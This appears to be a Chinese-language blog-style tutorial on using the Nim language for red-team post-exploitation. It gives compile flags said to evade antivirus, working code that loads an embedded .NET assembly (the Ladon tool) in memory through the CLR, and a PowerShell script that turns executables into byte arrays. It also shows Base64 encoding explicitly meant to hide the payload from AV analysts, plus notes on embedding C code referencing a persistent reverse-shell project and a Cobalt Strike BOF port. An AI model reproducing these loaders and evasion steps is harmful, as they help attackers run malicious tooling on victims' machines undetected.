了解nim

当时写了一篇知乎
https://www.zhihu.com/question/422664539/answer/2285819339

Nim第三方包管理文件

  1. packages_official.json

nimble第三方包管理

包存在packages_official.json中

image.png
直接加名字就行

包不存在packages_official.json中

image.png
直接加github链接就可以

编译指令(具有ABU效果)

  1. nim cpp -d:Caesar --passL:-static -d:release --app:gui --passL:-lntdll --opt:size 文件名.nim

减少体积命令

  1. nim c -d:danger -d:strip --passc=-flto --passl=-flto --opt:size .\main.nim

image.png
image.png

学习项目

https://github.com/byt3bl33d3r/OffensiveNim

现在github有很多关于Nim后渗透的项目 不过这个还是最适合学习的

国内的话有个师傅也一直在研究nim

https://www.cnblogs.com/StudyCat

内存加载Csharp

读取文件字节

nim版

  1. import os
  2. var buf: array[1472512,byte]
  3. var f: File
  4. f = open("ladon.exe")
  5. discard readBytes(f, buf,0,1472512) #1472512不固定
  6. f.close()
  7. echo buf

ps1

作者提供了一个ps脚本将exe转为符合nim的bytes数组

  1. function CSharpToNimByteArray
  2. {
  3. Param
  4. (
  5. [string]
  6. $inputfile,
  7. [switch]
  8. $folder
  9. )
  10. if ($folder)
  11. {
  12. $Files = Get-Childitem -Path $inputfile -File
  13. $fullname = $Files.FullName
  14. foreach($file in $fullname)
  15. {
  16. Write-Host "Converting $file"
  17. $outfile = $File + "NimByteArray.txt"
  18. [byte[]] $hex = get-content -encoding byte -path $File
  19. $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
  20. $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
  21. $Results = $Results + "]"
  22. $Results | out-file $outfile
  23. }
  24. Write-Host -ForegroundColor yellow "Results Written to the same folder"
  25. }
  26. else
  27. {
  28. Write-Host "Converting $inputfile"
  29. $outfile = $inputfile + "NimByteArray.txt"
  30. [byte[]] $hex = get-content -encoding byte -path $inputfile
  31. $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
  32. $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
  33. $Results = $Results + "]"
  34. $Results | out-file $outfile
  35. Write-Host "Result Written to $outfile"
  36. }
  37. }

加载文件字节

  1. import winim/clr
  2. import sugar
  3. import os
  4. var buf: array[1472512,byte]
  5. buf = [byte 77, 90, 144, 0, 3, 0,............................................. 0, 0, 0, 0, 0]
  6. var assembly = load(buf)
  7. var arr = toCLRVariant(commandLineParams(), VT_BSTR)
  8. assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

对于 AV 供应商来说,在 Nim 编译的可执行文件中检测 .NET 程序集仍然很容易。 如果我们嵌入纯文本 .NET 程序集字节,分析师只需在十六进制编辑器中打开它就可以看到嵌入的二进制文件:

image-20220103145822480.png

对于 AV 供应商来说,标记这些字节非常容易。因此,单独使用这种方法并不能很好地绕过 AV 软件。因此,如果您希望 Nim 编译的二进制文件隐藏 .NET 程序集,您必须在运行时对其进行编码/加密和解码/解密。可以在 Nim 中使用以下代码完成 Base64 编码和解码:

要更进一步隐藏的话,需要对字节进行加密解密。

  1. import base64
  2. import os
  3. import strformat
  4. func toByteSeq*(str: string): seq[byte] {.inline.} =
  5. # Converts a string to the corresponding byte sequence
  6. @(str.toOpenArrayByte(0, str.high))
  7. let inFile: string = paramStr(1)
  8. let inFileContents: string = readFile(inFile)
  9. # To load this .NET assembly we need a byte array or sequence
  10. var bytesequence: seq[byte] = toByteSeq(inFileContents)
  11. let encoded = encode(bytesequence)
  12. echo fmt"[*] Encoded: {encoded}"
  13. let decoded = decode(encoded)
  14. echo fmt"[*] Decoded: {decoded}"

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim

这可以用于加密.NET 程序集,也可以用于运行时解密:
image-20220103150533826.png

交叉编译

源码搬运

编译成通用C语言,生成编译指令文件,搬运到指定平台即可编译

  1. nim c --cpu:amd64 --os:linux --compileOnly --genScript .\main.nim
  2. 执行完后生成多个文件,将其复制到linux系统中,将nimbase.h也一并拷贝

linux平台下的nim

源代码编译

  1. nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim

编译windows可执行程序

在MacOs/*nix跨平台编译Windows程序需要 mingw 工具集,常常使用brew install mingw-w64或者apt install mingw-w64安装。

在编译时你仅仅需要指定 -d=mingw 参数。

  1. nim c -d=mingw --app=console --cpu=amd64 dll.nim

使用 --cpu:i386--cpu:amd64切换 CPU 架构。

image-20220103125406647.png

MinGW-w64 工具链可以如下安装:

  1. apt install mingw-w64 # Ubuntu
  2. yum install mingw32-gcc
  3. yum install mingw64-gcc # CentOS - 需要 EPEL
  4. brew install mingw-w64 # OSX

编译Macos可执行程序

https://github.com/tpoechtrager/osxcross.git

同目录建一个nim.cfg文件里面写上相关参数.

  1. amd64.macosx.clang.exe = "o64-clang"
  2. amd64.macosx.clang.linkerexe = "o64-clang"
  1. nim -d:release --os:macosx --cpu:amd64 c test.nim

nim嵌入C语言

https://github.com/1captainnemo1/PersistentCReverseShell

主要是利用 {.emit: “”” “””.} 实现嵌入

像什么呢,nim变成一个混淆程序了

  1. when not defined(c):
  2. {.error: "Must be compiled in c mode"}
  3. {.emit: """
  4. // AUTHOR : #Captain_Nemo
  5. #include <stdio.h>
  6. int Test()
  7. {
  8. printf("嵌入成功");
  9. return 0;
  10. } // end main
  11. """.}
  12. #proc PersistentCReverseShell(ip: cstring, port: int): int
  13. proc Test(): int
  14. {.importc: "Test", nodecl.}
  15. when isMainModule:
  16. discard Test()
  17. #discard PersistentCReverseShell(paramStr(1), parseInt(paramStr(2)))

image.png

Nim BOF

https://github.com/byt3bl33d3r/BOF-Nim

image.png
下载以后我们将其编译
image.png
发现其可以成功运行
byt3bl33d3r师傅已经将C语言版本的beacon.h转为beacon.nim了
image.png